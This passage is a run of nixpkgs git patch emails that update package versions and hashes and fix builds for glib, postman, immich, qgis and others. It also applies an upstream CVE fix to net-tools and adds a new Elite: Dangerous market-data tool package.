           xorg.xhost
           xorg.xinit
+          python3
+          jq
+          xorg.libxcvt
+          wmctrl
+          xdotool
+          xclip
+          xpra
+          xorg.xrandr
+          xorg.xauth
+          weston
+          xwayland
         ]
       }"
   '';

From ae89093138e8b338ed6eef2492ee832b3fd5407f Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Fri, 23 May 2025 22:27:16 +0900
Subject: [PATCH 0057/4511] glib: 2.84.1 -> 2.84.2

https://gitlab.gnome.org/GNOME/glib/-/releases/2.84.2

Signed-off-by: misilelab <misileminecord@gmail.com>
(cherry picked from commit 7208740a433e245b8be5b0655a5a66d2b743d413)
---
 pkgs/by-name/gl/glib/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gl/glib/package.nix b/pkgs/by-name/gl/glib/package.nix
index a6485367bad9..233aa038d297 100644
--- a/pkgs/by-name/gl/glib/package.nix
+++ b/pkgs/by-name/gl/glib/package.nix
@@ -74,7 +74,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "glib";
-  version = "2.84.1";
+  version = "2.84.2";
 
   outputs = [
     "bin"
@@ -87,7 +87,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/glib/${lib.versions.majorMinor finalAttrs.version}/glib-${finalAttrs.version}.tar.xz";
-    hash = "sha256-K0vC7ElhGl/DX4asqFXy7QGW5p5TCSura7czlr8weJo=";
+    hash = "sha256-iOlg3ZNwV0B9YfyztFqGBwSyWSPDeuJHi4Xy7LWkAh8=";
   };
 
   patches =

From dd81289d0c537fdc685b51ef155d4d822137ef0c Mon Sep 17 00:00:00 2001
From: iamanaws <78835633+Iamanaws@users.noreply.github.com>
Date: Sun, 25 May 2025 09:41:57 -0700
Subject: [PATCH 0058/4511] postman: 1.44.0 -> 1.46.6

(cherry picked from commit 589797166a04ab3fe8760881b0e1ccf0dbf6d2c5)
---
 pkgs/by-name/po/postman/darwin.nix  | 4 ++--
 pkgs/by-name/po/postman/linux.nix   | 4 ++--
 pkgs/by-name/po/postman/package.nix | 2 +-
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/po/postman/darwin.nix b/pkgs/by-name/po/postman/darwin.nix
index bc7ce9fe2775..3deccfeeb464 100644
--- a/pkgs/by-name/po/postman/darwin.nix
+++ b/pkgs/by-name/po/postman/darwin.nix
@@ -13,12 +13,12 @@ let
     {
       aarch64-darwin = {
         arch = "arm64";
-        sha256 = "sha256-uhhrJk/WtM4tKsrBAn1IjHx0OeR/SpdOzy2XhoUP4sY=";
+        sha256 = "sha256-w1zu+sK8JqBMGBaKPYGJqddEWYWCv1aJRM+Q91l5dPw=";
       };
 
       x86_64-darwin = {
         arch = "64";
-        sha256 = "sha256-NYxcZoQYDyn85RkUz57b5yhzpeAK5xyyJF/7L2+3tt4=";
+        sha256 = "sha256-dlRK6NpDskuIW0nuf9mWx/xolOnGmH77ny+2ADaD7QU=";
       };
     }
     .${stdenvNoCC.hostPlatform.system}
diff --git a/pkgs/by-name/po/postman/linux.nix b/pkgs/by-name/po/postman/linux.nix
index 763330f35e03..a98ea9f4310c 100644
--- a/pkgs/by-name/po/postman/linux.nix
+++ b/pkgs/by-name/po/postman/linux.nix
@@ -56,12 +56,12 @@ let
     {
       aarch64-linux = {
         arch = "arm64";
-        sha256 = "sha256-/Qfd/xn+FwYLPSWssP5JFfjMdICz6HDg30edl/Fme5A=";
+        sha256 = "sha256-XtY5SmYoU2OhX69jRb8uSGwx5vPiSfgmF2jY7mJIrTY=";
       };
 
       x86_64-linux = {
         arch = "64";
-        sha256 = "sha256-BbTYT0GHU+BmWFXG2TU8PL90eTpLcyLgnwSw9YyWT0g=";
+        sha256 = "sha256-eEgUk3VnahmFua8UrNMUi2lG0UujiuDTs64XqaAkYe8=";
       };
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
diff --git a/pkgs/by-name/po/postman/package.nix b/pkgs/by-name/po/postman/package.nix
index 3415c93e28e8..e174bf0c7d28 100644
--- a/pkgs/by-name/po/postman/package.nix
+++ b/pkgs/by-name/po/postman/package.nix
@@ -6,7 +6,7 @@
 
 let
   pname = "postman";
-  version = "11.44.0";
+  version = "11.46.6";
   meta = with lib; {
     homepage = "https://www.getpostman.com";
     description = "API Development Environment";

From e63c401a7341a7a9f288a711d61820e3f70e8f37 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Thu, 22 May 2025 18:08:32 +0200
Subject: [PATCH 0059/4511] immich: 1.132.3 -> 1.133.1

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 951225149718c7596738df85268acc7ac955ce6d)
---
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 09cec8c283cb..855b14d14378 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.132.3",
-  "hash": "sha256-QwQSqWSQ82R5LrbyerAZflDRM2DS+rpA8E6uzxQbs48=",
+  "version": "1.133.1",
+  "hash": "sha256-8jqFiVNj494GQInfLDTXm43mO+H9YuxPwIqUJFOwwW0=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-7CWJEEr/6+Duc90Qww6rhVLXEtxz3hymLcQIzv3YPg0=",
-      "version": "2.2.65"
+      "npmDepsHash": "sha256-oDgO8kb/8VqOAGUfG70x2K58j+OsZe+CjurEShiMeCU=",
+      "version": "2.2.67"
     },
     "server": {
-      "npmDepsHash": "sha256-CdE8H8+uAlthHhko5Ir+BETqkZoNzpimgHB2gVJbus8=",
-      "version": "1.132.3"
+      "npmDepsHash": "sha256-3beEul7d4OfByrcm4u28Qv7KTdPW8GJ2gnHfQHT9LY0=",
+      "version": "1.133.1"
     },
     "web": {
-      "npmDepsHash": "sha256-3UoNfa2P4bVFQSQTSbRacSxh2UbPokDHqveCHt9bnko=",
-      "version": "1.132.3"
+      "npmDepsHash": "sha256-xvSh0NGm7O+lunbHcE7aGv2OzQNVFlHWIeUAQPF218c=",
+      "version": "1.133.1"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-Rfds2/c8Q6KfWzyztxLcKS40JKOMh04JzMICsDvqMgs=",
-      "version": "1.132.3"
+      "npmDepsHash": "sha256-y2jwNlqGUIsr3DfNSpEr8BFdP7e8xvNUhBQ52ypf0YI=",
+      "version": "1.133.1"
     },
     "geonames": {
-      "timestamp": "20250428153140",
-      "hash": "sha256-RDetKDf/qFRwlB+Jo5ivD6yp1paMWFJeUf1Vft70Kdw="
+      "timestamp": "20250523191247",
+      "hash": "sha256-TiqUyYre3gGv3yJMoh6B+RZWu1AiMpgSZSW16NTI+Eg="
     }
   }
 }

From 9c31f0ad9bf9eb0057a767c4c1c56f4d13e743e2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Sat, 19 Apr 2025 21:43:05 +0200
Subject: [PATCH 0060/4511] nextcloud31Packages.apps.recognize: fix compilation

(cherry picked from commit 5ea55be1150850ea4cf48c3d0be6bad59399fa52)
---
 pkgs/servers/nextcloud/packages/apps/recognize.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/servers/nextcloud/packages/apps/recognize.nix b/pkgs/servers/nextcloud/packages/apps/recognize.nix
index 436d86d8cb50..1e7fb2570fd4 100644
--- a/pkgs/servers/nextcloud/packages/apps/recognize.nix
+++ b/pkgs/servers/nextcloud/packages/apps/recognize.nix
@@ -103,7 +103,7 @@ stdenv.mkDerivation rec {
     # Install tfjs dependency
     export CPPFLAGS="-I${lib.getDev nodejs}/include/node -Ideps/include"
     cd node_modules/@tensorflow/tfjs-node
-    node-pre-gyp install --prefer-offline --build-from-source --nodedir=${nodejs}/include/node
+    node-pre-gyp install --prefer-offline --build-from-source --nodedir=${nodejs}
     cd -
 
     # Test tfjs returns exit code 0

From 114e0384d50c84378a0e8546e40d334244b345c6 Mon Sep 17 00:00:00 2001
From: John Rodewald <jnrodewald99@gmail.com>
Date: Sun, 25 May 2025 11:17:51 +0200
Subject: [PATCH 0061/4511] gcli: fix Darwin build

Darwin builds are fixed in master, but the change is unreleased.

(cherry picked from commit e32ab66ae1bff15d6a3ed9f6814ad514dd62e0ed)
---
 pkgs/by-name/gc/gcli/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/gc/gcli/package.nix b/pkgs/by-name/gc/gcli/package.nix
index 135790f60afc..36b9e3b2cf93 100644
--- a/pkgs/by-name/gc/gcli/package.nix
+++ b/pkgs/by-name/gc/gcli/package.nix
@@ -6,6 +6,7 @@
   pkg-config,
   byacc,
   flex,
+  fetchpatch,
 }:
 
 stdenv.mkDerivation rec {
@@ -19,6 +20,15 @@ stdenv.mkDerivation rec {
     hash = "sha256-N5dzGhyXPDWcm/cNUSUQt4rR+PzaD1OUssRO3Sdfmoo=";
   };
 
+  patches = [
+    # Darwin builds are fixed in master, but the change is unreleased.
+    (fetchpatch {
+      name = "darwin-build-fix.patch";
+      url = "https://github.com/herrhotzenplotz/gcli/commit/720e372250fd363bdd90e9452907508563e30f93.patch";
+      hash = "sha256-TpjIisje20YObN2wf8iQlwHlY5kg0S7xTkUWxAmK+po=";
+    })
+  ];
+
   nativeBuildInputs = [
     pkg-config
     byacc

From 9c8e25673e24b55cf5a630f53c2892285c0af5af Mon Sep 17 00:00:00 2001
From: euxane <euxane.trangirard@euxane.eu>
Date: Sun, 25 May 2025 00:19:23 +0200
Subject: [PATCH 0062/4511] matrix-appservice-discord: fix build by pinning
 nodejs_20

Build is failing with newer versions; From upstream's readme:

    The bridge supports any version of Node.js between v18.X - v20.X.

(cherry picked from commit 02b305e083ade13e61496b16872d7375392d8da0)
---
 pkgs/by-name/ma/matrix-appservice-discord/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ma/matrix-appservice-discord/package.nix b/pkgs/by-name/ma/matrix-appservice-discord/package.nix
index dcd43ba0d852..d80e578bf0a1 100644
--- a/pkgs/by-name/ma/matrix-appservice-discord/package.nix
+++ b/pkgs/by-name/ma/matrix-appservice-discord/package.nix
@@ -7,11 +7,12 @@
   makeWrapper,
   removeReferencesTo,
   python3,
-  nodejs,
+  nodejs_20,
   matrix-sdk-crypto-nodejs,
 }:
 
 let
+  nodejs = nodejs_20; # only supports nodejs v18.X - v20.X
   pin = lib.importJSON ./pin.json;
   nodeSources = srcOnly nodejs;
 
@@ -19,6 +20,7 @@ in
 mkYarnPackage rec {
   pname = "matrix-appservice-discord";
   inherit (pin) version;
+  inherit nodejs;
 
   src = fetchFromGitHub {
     owner = "matrix-org";

From 181feb4e16707e955648b805fb77019665d21300 Mon Sep 17 00:00:00 2001
From: euxane <euxane.trangirard@euxane.eu>
Date: Sun, 25 May 2025 00:22:01 +0200
Subject: [PATCH 0063/4511] matrix-appservice-discord: update meta.homepage

(cherry picked from commit 41a2f2ad56fc94f33fa30eb1206620e67ad88ad3)
---
 pkgs/by-name/ma/matrix-appservice-discord/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ma/matrix-appservice-discord/package.nix b/pkgs/by-name/ma/matrix-appservice-discord/package.nix
index d80e578bf0a1..bd8f6d9c5db4 100644
--- a/pkgs/by-name/ma/matrix-appservice-discord/package.nix
+++ b/pkgs/by-name/ma/matrix-appservice-discord/package.nix
@@ -103,7 +103,7 @@ mkYarnPackage rec {
 
   meta = {
     description = "Bridge between Matrix and Discord";
-    homepage = "https://github.com/Half-Shot/matrix-appservice-discord";
+    homepage = "https://github.com/matrix-org/matrix-appservice-discord";
     license = lib.licenses.asl20;
     maintainers = with lib.maintainers; [ euxane ];
     platforms = lib.platforms.linux;

From cc8778d6acd5828e3d1dfedae1b456aa108b50cc Mon Sep 17 00:00:00 2001
From: Linus Vettiger <linus4123@gmail.com>
Date: Sun, 25 May 2025 11:27:43 +0200
Subject: [PATCH 0064/4511] ugarit: fix build on darwin

(cherry picked from commit 4cf6ac7f244cc38eb7d7a1bc8e147462d3982bc8)
---
 .../ugarit/posix-extras-add-sysmacros-include.patch       | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/backup/ugarit/posix-extras-add-sysmacros-include.patch b/pkgs/tools/backup/ugarit/posix-extras-add-sysmacros-include.patch
index bd374b679d84..7a1ec8429049 100644
--- a/pkgs/tools/backup/ugarit/posix-extras-add-sysmacros-include.patch
+++ b/pkgs/tools/backup/ugarit/posix-extras-add-sysmacros-include.patch
@@ -1,10 +1,12 @@
 --- a/posix-extras.scm	1970-01-01 01:00:01.000000000 +0100
 +++ b/posix-extras.scm	1970-01-01 01:00:01.000000000 +0100
-@@ -110,6 +110,7 @@ static void *C_not_implemented_ptr(void)
+@@ -110,6 +110,9 @@ static void *C_not_implemented_ptr(void)
  #endif
- 
- #if defined (__unix__) || defined (C_XXXBSD)
+
++#if defined (__unix__) 
 +#include <sys/sysmacros.h>
++#endif
+ #if defined (__unix__) || defined (C_XXXBSD)
  #include <sys/types.h>
  #define C_mknod(fn, m, d) C_fix(mknod(C_data_pointer(fn), C_unfix(m), C_unfix(d)))
  #define C_mknod64(fn, m, maj, min) C_fix(mknod(C_data_pointer(fn), C_unfix(m), makedev(C_num_to_int(maj), C_num_to_int(min))))

From 8cbdafeccaef75b8595d3b9aca0229aa4100f059 Mon Sep 17 00:00:00 2001
From: chn <chn@chn.moe>
Date: Sun, 11 May 2025 10:50:19 +0800
Subject: [PATCH 0065/4511] python3Packages.phonopy: 2.37.0 -> 2.38.2

(cherry picked from commit 13130a258b16b9f10e33a2c97c3ac2ad73373ca0)
---
 pkgs/development/python-modules/phonopy/default.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/phonopy/default.nix b/pkgs/development/python-modules/phonopy/default.nix
index ce91f53e9d72..4a0387c392b1 100644
--- a/pkgs/development/python-modules/phonopy/default.nix
+++ b/pkgs/development/python-modules/phonopy/default.nix
@@ -25,14 +25,14 @@
 
 buildPythonPackage rec {
   pname = "phonopy";
-  version = "2.37.0";
+  version = "2.38.2";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "phonopy";
     repo = "phonopy";
     tag = "v${version}";
-    hash = "sha256-Asrgf4sTriEOv4Vovejshl5HXAYQEckxbHvZ7GmSQgg=";
+    hash = "sha256-oQcKBwrjQGmjJIHROb9Z/8j7CmfoSxlIzHRABBg+tSs=";
   };
 
   build-system = [
@@ -70,6 +70,9 @@ buildPythonPackage rec {
     homepage = "https://phonopy.github.io/phonopy/";
     changelog = "http://phonopy.github.io/phonopy/changelog.html";
     license = lib.licenses.bsd0;
-    maintainers = with lib.maintainers; [ psyanticy ];
+    maintainers = with lib.maintainers; [
+      psyanticy
+      chn
+    ];
   };
 }

From 657183220d6d54fcff78e14a930ccad193ce8cf3 Mon Sep 17 00:00:00 2001
From: Bruno Bigras <24027+bbigras@users.noreply.github.com>
Date: Fri, 16 May 2025 21:55:25 -0400
Subject: [PATCH 0066/4511] veilid: 0.4.4 -> 0.4.6

(cherry picked from commit 3bfe0a499ee44209ea2df5fce54d2d0ff2552305)
---
 pkgs/by-name/ve/veilid/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/veilid/package.nix b/pkgs/by-name/ve/veilid/package.nix
index bab5c1c96643..bde4286180b5 100644
--- a/pkgs/by-name/ve/veilid/package.nix
+++ b/pkgs/by-name/ve/veilid/package.nix
@@ -12,17 +12,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "veilid";
-  version = "0.4.4";
+  version = "0.4.6";
 
   src = fetchFromGitLab {
     owner = "veilid";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-p9bQ90zUXVeVPUDuns+gmZb9SJHpAVrJOHe+RvEru7w=";
+    hash = "sha256-bKll7VB6LjkmmhN5lmjcSeP2zZbyWnl4XiZbZe3tKgg=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-xbtlZ7PP+RHPlW4a9UCmaCOcsQkDyPim3yPObbXVqns=";
+  cargoHash = "sha256-505gf4P/Hlo8KFynhAQdBagzEqGXhydhTTknat/jWmk=";
 
   nativeBuildInputs = [
     capnproto

From d1da8db85ccf3cd117a4af2b6c6cca4d6d6c611a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sun, 25 May 2025 19:12:53 -0700
Subject: [PATCH 0067/4511] libadwaita: 1.7.2 -> 1.7.3

Diff: https://gitlab.gnome.org/GNOME/libadwaita/-/compare/refs/tags/1.7.2...1.7.3

Changelog: https://gitlab.gnome.org/GNOME/libadwaita/-/blob/1.7.3/NEWS
(cherry picked from commit a839a9dc552cc7ab72851adc4598278efabc8e39)
---
 pkgs/by-name/li/libadwaita/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/libadwaita/package.nix b/pkgs/by-name/li/libadwaita/package.nix
index 3a224ecaa0e1..af8f38b0aabd 100644
--- a/pkgs/by-name/li/libadwaita/package.nix
+++ b/pkgs/by-name/li/libadwaita/package.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "libadwaita";
-  version = "1.7.2";
+  version = "1.7.3";
 
   outputs = [
     "out"
@@ -36,8 +36,8 @@ stdenv.mkDerivation (finalAttrs: {
     domain = "gitlab.gnome.org";
     owner = "GNOME";
     repo = "libadwaita";
-    rev = finalAttrs.version;
-    hash = "sha256-3QrFoUaQe2uIUTV/D4Da31o9Ee2d39/9mz1Is1/x3As=";
+    tag = finalAttrs.version;
+    hash = "sha256-zVmVh1iljidcXU+c7DAGBPkYyJkA11SvXtuCosB/Foc=";
   };
 
   depsBuildBuild = [
@@ -130,7 +130,7 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   meta = with lib; {
-    changelog = "https://gitlab.gnome.org/GNOME/libadwaita/-/blob/${finalAttrs.src.rev}/NEWS";
+    changelog = "https://gitlab.gnome.org/GNOME/libadwaita/-/blob/${finalAttrs.src.tag}/NEWS";
     description = "Library to help with developing UI for mobile devices using GTK/GNOME";
     mainProgram = "adwaita-1-demo";
     homepage = "https://gitlab.gnome.org/GNOME/libadwaita";

From d870bca8aec3769e16f9b1e3fb80d01846de7872 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 16 May 2025 02:06:15 +0200
Subject: [PATCH 0068/4511] nettools: apply patch for CVE-2025-46836

https://github.com/ecki/net-tools/security/advisories/GHSA-pfwf-h6m3-63wf
(cherry picked from commit bd5e71fad8e86ae1fb5388d0c3f5ed9f6c3877d4)
---
 pkgs/os-specific/linux/net-tools/default.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/os-specific/linux/net-tools/default.nix b/pkgs/os-specific/linux/net-tools/default.nix
index 4361f28f87d8..a3efee9ad0bc 100644
--- a/pkgs/os-specific/linux/net-tools/default.nix
+++ b/pkgs/os-specific/linux/net-tools/default.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchpatch,
 }:
 
 stdenv.mkDerivation rec {
@@ -13,6 +14,14 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-smJDWlJB6Jv6UcPKvVEzdTlS96e3uT8y4Iy52W9YDWk=";
   };
 
+  patches = [
+    (fetchpatch {
+      name = "CVE-2025-46836.patch";
+      url = "https://github.com/ecki/net-tools/commit/7a8f42fb20013a1493d8cae1c43436f85e656f2d.patch";
+      hash = "sha256-2R9giETNN3e2t1DPQj0kb4uYCXpkBxnF8grWIBLM7s0=";
+    })
+  ];
+
   preBuild = ''
     cp ${./config.h} config.h
   '';

From 0192f02f2c37ba2aed9ff618eb3cde26c31c87bd Mon Sep 17 00:00:00 2001
From: Ivan Mincik <ivan.mincik@gmail.com>
Date: Tue, 20 May 2025 09:16:39 +0200
Subject: [PATCH 0069/4511] qgis-ltr: 3.40.6 -> 3.40.7

(cherry picked from commit 7ccae6c5a033280879433906f45d26d1087b8a68)
---
 pkgs/applications/gis/qgis/unwrapped-ltr.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/gis/qgis/unwrapped-ltr.nix b/pkgs/applications/gis/qgis/unwrapped-ltr.nix
index 264dce8ac66f..19c8ac7e0b14 100644
--- a/pkgs/applications/gis/qgis/unwrapped-ltr.nix
+++ b/pkgs/applications/gis/qgis/unwrapped-ltr.nix
@@ -82,14 +82,14 @@ let
   ];
 in
 mkDerivation rec {
-  version = "3.40.6";
+  version = "3.40.7";
   pname = "qgis-ltr-unwrapped";
 
   src = fetchFromGitHub {
     owner = "qgis";
     repo = "QGIS";
     rev = "final-${lib.replaceStrings [ "." ] [ "_" ] version}";
-    hash = "sha256-pw5XxaGDsyQfeJL582Iic2sg5j8AUPvM+I53YLB4aG4=";
+    hash = "sha256-XC3UVKtOokFH9MDnz7M1+aTfNFVQKGYV2jTThE69jQs=";
   };
 
   passthru = {

From 63f88fcc5d113b3dc42c83491d32ebef4bec0ed2 Mon Sep 17 00:00:00 2001
From: Ivan Mincik <ivan.mincik@gmail.com>
Date: Tue, 20 May 2025 09:14:08 +0200
Subject: [PATCH 0070/4511] qgis: 3.42.2 -> 3.42.3

(cherry picked from commit 3b7b7eec1ecfa646a4313b6e61cebbbd79f7fd96)
---
 pkgs/applications/gis/qgis/unwrapped.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/gis/qgis/unwrapped.nix b/pkgs/applications/gis/qgis/unwrapped.nix
index 9e3f69a1ec40..845fd554ea98 100644
--- a/pkgs/applications/gis/qgis/unwrapped.nix
+++ b/pkgs/applications/gis/qgis/unwrapped.nix
@@ -82,14 +82,14 @@ let
   ];
 in
 mkDerivation rec {
-  version = "3.42.2";
+  version = "3.42.3";
   pname = "qgis-unwrapped";
 
   src = fetchFromGitHub {
     owner = "qgis";
     repo = "QGIS";
     rev = "final-${lib.replaceStrings [ "." ] [ "_" ] version}";
-    hash = "sha256-kWy+FBiqPMt8GLGWSJBQp0uD5l1IE/2KmDGdxKapg78=";
+    hash = "sha256-NZLtifHcJAe0Q08i3nTu4H1fWO9gALCcqjaPwb0t8QM=";
   };
 
   passthru = {

From 31012ba96177fa1ef8eb30bc092358594e7f8412 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20Bori?= <theo1.bori@epitech.eu>
Date: Sat, 24 May 2025 13:07:10 +0200
Subject: [PATCH 0071/4511] taterclient-ddnet: 10.1.2 -> 10.3.0

(cherry picked from commit d6c56af5139c93026757cf5c3301eb26b6f2af4c)
---
 .../client_log_format_security.patch          | 13 ++++++++++++
 pkgs/by-name/ta/taterclient-ddnet/package.nix | 21 ++++++++++---------
 2 files changed, 24 insertions(+), 10 deletions(-)
 create mode 100644 pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch

diff --git a/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch b/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch
new file mode 100644
index 000000000000..9d0c56170162
--- /dev/null
+++ b/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch
@@ -0,0 +1,13 @@
+diff --git a/src/engine/client/client.cpp.orig b/src/engine/client/client.cpp
+index ab70b3c..9e25353 100644
+--- a/src/engine/client/client.cpp.orig
++++ b/src/engine/client/client.cpp
+@@ -4933,7 +4933,7 @@ int main(int argc, const char **argv)
+ 		{
+ 			char aError[2048];
+ 			snprintf(aError, sizeof(aError), "Failed to load config from '%s'.", s_aConfigDomains[ConfigDomain].m_aConfigPath);
+-			log_error("client", aError);
++			log_error("client", "%s", aError);
+ 			pClient->ShowMessageBox("Config File Error", aError);
+ 			PerformAllCleanup();
+ 			return -1;
diff --git a/pkgs/by-name/ta/taterclient-ddnet/package.nix b/pkgs/by-name/ta/taterclient-ddnet/package.nix
index 836ddc58a945..76a01e1b4b62 100644
--- a/pkgs/by-name/ta/taterclient-ddnet/package.nix
+++ b/pkgs/by-name/ta/taterclient-ddnet/package.nix
@@ -26,7 +26,6 @@
   vulkan-loader,
   glslang,
   spirv-tools,
-  gtest,
   glew,
 }:
 let
@@ -34,13 +33,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "taterclient-ddnet";
-  version = "10.1.2";
+  version = "10.3.0";
 
   src = fetchFromGitHub {
     owner = "sjrc6";
     repo = "taterclient-ddnet";
     tag = "V${finalAttrs.version}";
-    hash = "sha256-0N4nzGcmHrWkIFHEREtSBCTHPBE4UI8RmCuRsehX1YU=";
+    hash = "sha256-OEoiUtD87xsXBgAZ65mmfmAJcEvrley3drRX+IJo20s=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
@@ -59,9 +58,6 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  nativeCheckInputs = [ gtest ];
-  checkInputs = [ gtest ];
-
   buildInputs = [
     curl
     libnotify
@@ -84,6 +80,10 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
+  patches = [
+    ./client_log_format_security.patch
+  ];
+
   postPatch = ''
     substituteInPlace src/engine/shared/storage.cpp \
       --replace-fail /usr/ $out/
@@ -98,10 +98,11 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeFeature "CLIENT_EXECUTABLE" clientExecutable)
   ];
 
-  doCheck = true;
-  checkTarget = "run_tests";
-
-  __darwinAllowLocalNetworking = true; # for tests
+  # Since we are not building the server executable, the `run_tests` Makefile target
+  # will not be generated.
+  #
+  # See https://github.com/sjrc6/TaterClient-ddnet/blob/V10.3.0/CMakeLists.txt#L3072
+  doCheck = false;
 
   preFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
     # Upstream links against <prefix>/lib while it installs this library in <prefix>/lib/ddnet

From 2184a2789280ab8f9466a02f381c83e7ec6beff2 Mon Sep 17 00:00:00 2001
From: jiriks74 <jiri@stefka.eu>
Date: Mon, 3 Mar 2025 09:45:19 +0100
Subject: [PATCH 0072/4511] edmarketconnector: init at 5.13.1

- `EDMarketConnector` repository: https://github.com/EDCD/EDMarketConnector

From project's description:
Downloads commodity market and other station data from the game
Elite: Dangerous for use with all popular online and offline trading tools.

It's a helper tool for the game Elite: Dangerous. Since the in game
tools for trading and searching aren't that good the community has to
make their own. This tool pulls the information from game and uploads it
to various databases for other players to use.

- A test for the watchdog python package had to be disabled

The test basically always resulted in a `Too many open files` error:

```
       > ===End Flaky Test Report===
       > =========================== short test summary info ============================
       > FAILED tests/test_inotify_c.py::test_select_fd - OSError: [Errno 24] Too many open files: '/build/pytest-of-nixbld/pytest-0/test_select_fd0/new_file'
       > =========== 1 failed, 162 passed, 3 skipped, 3 deselected in 54.29s ============
```

See https://github.com/gorakhargosh/watchdog/issues/1095

(cherry picked from commit 9d1654b9816a582b84a4965b962b8091d5c69106)
---
 pkgs/by-name/ed/edmarketconnector/package.nix | 63 +++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 pkgs/by-name/ed/edmarketconnector/package.nix

diff --git a/pkgs/by-name/ed/edmarketconnector/package.nix b/pkgs/by-name/ed/edmarketconnector/package.nix
new file mode 100644
index 000000000000..973ff3f43174
--- /dev/null
+++ b/pkgs/by-name/ed/edmarketconnector/package.nix
@@ -0,0 +1,63 @@
+{
+  lib,
+  fetchFromGitHub,
+  stdenv,
+  python3,
+  makeWrapper,
+}:
+let
+  pythonEnv = python3.buildEnv.override {
+    extraLibs = with python3.pkgs; [
+      tkinter
+      requests
+      pillow
+      (watchdog.overrideAttrs {
+        disabledTests = [
+          "test_select_fd" # Avoid `Too many open files` error. See https://github.com/gorakhargosh/watchdog/issues/1095
+        ];
+      })
+      semantic-version
+      psutil
+    ];
+    ignoreCollisions = true;
+  };
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "edmarketconnector";
+  version = "5.13.1";
+
+  src = fetchFromGitHub {
+    owner = "EDCD";
+    repo = "EDMarketConnector";
+    tag = "Release/${finalAttrs.version}";
+    hash = "sha256-50OPbAXrDKodN0o6UibGUmMqQ/accF2/gNHnms+8rOI=";
+  };
+
+  nativeBuildInputs = [ makeWrapper ];
+
+  installPhase = ''
+    runHook preInstallPhase
+
+    mkdir -p $out/share/icons/hicolor/512x512/apps/
+    ln -s ${finalAttrs.src}/io.edcd.EDMarketConnector.png $out/share/icons/hicolor/512x512/apps/io.edcd.EDMarketConnector.png
+
+    mkdir -p "$out/share/applications/"
+    ln -s "${finalAttrs.src}/io.edcd.EDMarketConnector.desktop" "$out/share/applications/"
+
+    makeWrapper ${pythonEnv}/bin/python $out/bin/edmarketconnector \
+      --add-flags "${finalAttrs.src}/EDMarketConnector.py $@"
+
+    runHook postInstallPhase
+  '';
+
+  meta = {
+    homepage = "https://github.com/EDCD/EDMarketConnector";
+    description = "Uploads Elite: Dangerous market data to popular trading tools";
+    longDescription = "Downloads commodity market and other station data from the game Elite: Dangerous for use with all popular online and offline trading tools.";
+    changelog = "https://github.com/EDCD/EDMarketConnector/releases/tag/Release%2F${finalAttrs.version}";
+    license = lib.licenses.gpl2Only;
+    platforms = lib.platforms.x86_64;
